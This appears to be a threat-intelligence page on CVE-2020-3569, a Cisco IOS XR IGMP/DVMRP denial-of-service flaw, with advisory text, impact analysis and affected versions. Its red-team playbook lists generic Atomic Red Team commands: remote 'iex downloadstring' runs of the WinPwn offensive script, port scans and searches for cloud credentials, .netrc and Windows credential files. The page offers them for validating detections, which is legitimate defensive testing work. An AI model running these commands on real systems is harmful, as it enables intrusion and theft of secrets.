CVE-2020-3569
Overview
This vulnerability involves improper handling of Internet Group Management Protocol (IGMP) packets within the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software. Specifically, the flaw arises from incorrect memory management when processing crafted IGMP traffic, leading to uncontrolled memory consumption and potential process instability. The affected component is the IGMP process within the DVMRP feature of Cisco IOS XR versions 6.1.4 through 6.5.3.
Vulnerability Description
Multiple vulnerabilities in the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software could allow an unauthenticated, remote attacker to either immediately crash the Internet Group Management Protocol (IGMP) process or make it consume available memory and eventually crash. The memory consumption may negatively impact other processes that are running on the device. These vulnerabilities are due to the incorrect handling of IGMP packets. An attacker could exploit these vulnerabilities by sending crafted IGMP traffic to an affected device. A successful exploit could allow the attacker to immediately crash the IGMP process or cause memory exhaustion, resulting in other processes becoming unstable. These processes may include, but are not limited to, interior and exterior routing protocols. Cisco will release software updates that address these vulnerabilities.
Impact
An unauthenticated attacker can remotely disrupt network operations by crashing the IGMP process or exhausting device memory, leading to instability or failure of other critical routing protocols. This can result in denial of service conditions affecting network availability and routing stability. No user interaction or credentials are needed, enabling straightforward exploitation from the network. The disruption may affect both interior and exterior routing processes, potentially causing broader network outages or degraded performance.
Solution
Cisco has released software updates addressing these vulnerabilities in IOS XR versions later than 6.5.3. Administrators should apply the fixes as detailed in Cisco Security Advisory cisco-sa-iosxr-dvmrp-memexh-dSmpdvfz available at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-dvmrp-memexh-dSmpdvfz. Upgrading to the patched software versions is the recommended remediation; no alternative workarounds are specified in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerabilities in the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software stem from improper handling of Internet Group Management Protocol (IGMP) packets. This flaw allows an unauthenticated remote attacker to exploit the protocol by sending specially crafted IGMP traffic to affected devices. The immediate consequence of such an attack can be the crashing of the IGMP process, which is critical for managing multicast group memberships. Additionally, the exploitation can lead to memory exhaustion, causing the device to become unstable and affecting other essential processes, including both interior and exterior routing protocols. The severity of this issue is underscored by its high CVSS score of 8.6, indicating a significant risk to network stability and functionality.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can initiate an exploit. An attacker does not require authentication to send malicious IGMP packets, making it feasible for anyone with network access to target vulnerable devices. By flooding the device with crafted IGMP traffic, an attacker can trigger immediate crashes or induce memory consumption that leads to cascading failures in other critical processes. For organizations relying on Cisco IOS XR Software for their network infrastructure, this presents a clear and present danger, as the potential for service disruption is high. Exploitation could occur in various scenarios, including during routine maintenance or periods of high network traffic, where the impact could be exacerbated.
The real-world implications of these vulnerabilities can be severe, particularly for businesses that depend on stable and reliable network operations. A successful attack could lead to significant downtime, disrupting services and impacting customer satisfaction. Furthermore, the instability caused by memory exhaustion could result in broader network issues, affecting not just the targeted device but also other interconnected systems. This could lead to financial losses, reputational damage, and potential legal ramifications if service level agreements (SLAs) are breached. In sectors such as finance, healthcare, and telecommunications, where uptime is critical, the risks associated with these vulnerabilities are magnified.
To detect and mitigate these vulnerabilities, organizations should implement a multi-layered security approach. Regularly updating Cisco IOS XR Software to the latest versions is essential, as Cisco has released patches to address these vulnerabilities. Network monitoring tools can help identify unusual IGMP traffic patterns, allowing for early detection of potential exploitation attempts. Additionally, implementing access controls to limit who can send IGMP packets to network devices can reduce the attack surface. Organizations should also conduct regular vulnerability assessments and penetration testing to identify and remediate any weaknesses in their network infrastructure proactively.
In conclusion, the vulnerabilities within the DVMRP feature of Cisco IOS XR Software represent a significant threat to network stability and security. The ease of exploitation combined with the potential for widespread impact necessitates immediate attention from organizations utilizing affected products. By adopting proactive detection and mitigation strategies, businesses can safeguard their networks against these vulnerabilities and ensure continued operational integrity.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2020-3569, indicating renewed or increased attempts to exploit vulnerabilities in the DVMRP feature of Cisco IOS XR Software. Despite this surge in telemetry signals, the Exploit Prediction Scoring System (EPSS) score has declined notably, suggesting that while exploitation attempts are more frequent, the overall likelihood of successful exploitation or widespread impact may be diminishing. This divergence underscores a complex threat landscape where adversaries may be probing or testing defenses without achieving consistent success. For defenders, this trend highlights the importance of maintaining vigilant monitoring and response capabilities, as increased activity could presage more sophisticated or targeted campaigns. The risk level remains high due to the critical nature of the vulnerability and its potential to disrupt network stability, but the current data suggests a nuanced threat environment with active reconnaissance rather than confirmed large-scale exploitation.
Affected Products (14)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Cisco | Ios Xr | 6.1.4 |
cpe:2.3:o:cisco:ios_xr:6.1.4:*:*:*:*:*:*:*
|
|
|
Cisco | Ios Xr | 6.2.3 |
cpe:2.3:o:cisco:ios_xr:6.2.3:*:*:*:*:*:*:*
|
|
|
Cisco | Ios Xr | 6.3.3 |
cpe:2.3:o:cisco:ios_xr:6.3.3:*:*:*:*:*:*:*
|
|
|
Cisco | Ios Xr | 6.4.2 |
cpe:2.3:o:cisco:ios_xr:6.4.2:*:*:*:*:*:*:*
|
|
|
Cisco | Ios Xr | 6.5.3 |
cpe:2.3:o:cisco:ios_xr:6.5.3:*:*:*:*:*:*:*
|
|
|
Cisco | Ios Xr | 6.6.2 |
cpe:2.3:o:cisco:ios_xr:6.6.2:*:*:*:*:*:*:*
|
|
|
Cisco | Ios Xr | 6.6.3 |
cpe:2.3:o:cisco:ios_xr:6.6.3:*:*:*:*:*:*:*
|
|
|
Cisco | Ios Xr | 7.0.2 |
cpe:2.3:o:cisco:ios_xr:7.0.2:*:*:*:*:*:*:*
|
|
|
Cisco | Ios Xr | 7.1.2 |
cpe:2.3:o:cisco:ios_xr:7.1.2:*:*:*:*:*:*:*
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|
|
Cisco | Ios Xr | 7.1.15 |
cpe:2.3:o:cisco:ios_xr:7.1.15:*:*:*:*:*:*:*
|
|
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Cisco | Ios Xr | All |
cpe:2.3:o:cisco:ios_xr:*:*:*:*:*:*:*:*
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Cisco | Ios Xr | 6.1.4 |
cpe:2.3:o:cisco:ios_xr:6.1.4:*:*:*:*:*:*:*
|
|
|
Cisco | Ios Xr | 6.4.2 |
cpe:2.3:o:cisco:ios_xr:6.4.2:*:*:*:*:*:*:*
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Cisco | Ios Xr | 6.4.3 |
cpe:2.3:o:cisco:ios_xr:6.4.3:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-3569 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-dvmrp-memexh-dSmpdvfz |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-3569 |